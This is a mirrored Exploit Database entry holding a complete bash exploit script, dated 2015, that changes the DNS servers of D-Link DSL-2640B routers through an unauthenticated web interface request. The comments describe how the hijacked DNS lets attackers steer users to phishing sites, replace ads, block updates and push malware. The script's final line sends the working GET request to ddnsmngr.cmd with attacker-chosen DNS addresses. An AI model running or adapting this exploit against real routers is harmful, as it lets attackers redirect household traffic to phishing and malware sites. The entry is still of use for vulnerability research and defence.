D-Link DSL-2640B ADSL Router – ‘ddnsmngr’ Remote DNS Change

• Exploit Database
• 15 阅读

• 作者： Todor Donev
  日期： 2015-02-18
• 类别：

  • webapps
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/36105/

• #!/bin/bash
  #
  #D-Link DSL-2640B Unauthenticated Remote DNS Change Exploit
  #
  #Copyright 2015 (c) Todor Donev <todor.donev at gmail.com>
  #http://www.ethical-hacker.org/
  #https://www.facebook.com/ethicalhackerorg
  #
  #Description:
  #Different D-Link Routers are vulnerable to DNS change.
  #The vulnerability exist in the web interface, which is 
  #accessible without authentication. 
  #
  #Tested firmware version: EU_2.03
  #ACCORDING TO THE VULNERABILITY DISCOVERER, MORE D-Link 
  #DEVICES OR FIRMWARE VERSIONS MAY AFFECTED.
  #
  #Once modified, systems use foreign DNS servers,which are 
  #usually set up by cybercriminals. Users with vulnerable 
  #systems or devices who try to access certain sites are 
  #instead redirected to possibly malicious sites.
  #
  #Modifying systems' DNS settings allows cybercriminals to 
  #perform malicious activities like:
  #
  #oSteering unknowing users to bad sites: 
  # These sites can be phishing pages that 
  # spoof well-known sites in order to 
  # trick users into handing out sensitive 
  # information.
  #
  #oReplacing ads on legitimate sites: 
  # Visiting certain sites can serve users 
  # with infected systems a different set 
  # of ads from those whose systems are 
  # not infected.
  # 
  #oControlling and redirecting network traffic: 
  # Users of infected systems may not be granted 
  # access to download important OS and software 
  # updates from vendors like Microsoft and from 
  # their respective security vendors.
  #
  #oPushing additional malware: 
  # Infected systems are more prone to other 
  # malware infections (e.g., FAKEAV infection).
  #
  #Disclaimer:
  #This or previous programs is for Educational
  #purpose ONLY. Do not use it without permission.
  #The usual disclaimer applies, especially the
  #fact that Todor Donev is not liable for any
  #damages caused by direct or indirect use of the
  #information or functionality provided by these
  #programs. The author or any Internet provider
  #bears NO responsibility for content or misuse
  #of these programs or any derivatives thereof.
  #By using these programs you accept the fact
  #that any damage (dataloss, system crash,
  #system compromise, etc.) caused by the use
  #of these programs is not Todor Donev's
  #responsibility.
  #
  #Use them at your own risk!
  #
   
  
  if [[ $# -gt 3 || $# -lt 2 ]]; then
  echo " D-Link DSL-2640B Unauthenticated Remote DNS Change Exploit"
  echo "================================================================"
  echo "Usage: $0 <Target> <Preferred DNS> <Alternate DNS>"
  echo "Example: $0 192.168.1.1 8.8.8.8"
  echo "Example: $0 192.168.1.1 8.8.8.8 8.8.4.4"
  echo ""
  echo " Copyright 2015 (c) Todor Donev <todor.donev at gmail.com>"
  echo "http://www.ethical-hacker.org/"
  echo " https://www.facebook.com/ethicalhackerorg"
  exit;
  fi
  GET=`which GET 2>/dev/null`
  if [ $? -ne 0 ]; then
  echo "Error : libwww-perl not found =/"
  exit;
  fi
  GET "http://$1/ddnsmngr.cmd?action=apply&service=0&enbl=0&dnsPrimary=$2&dnsSecondary=$3&dnsDynamic=0&dnsRefresh=1&dns6Type=DHCP" 0&> /dev/null <&1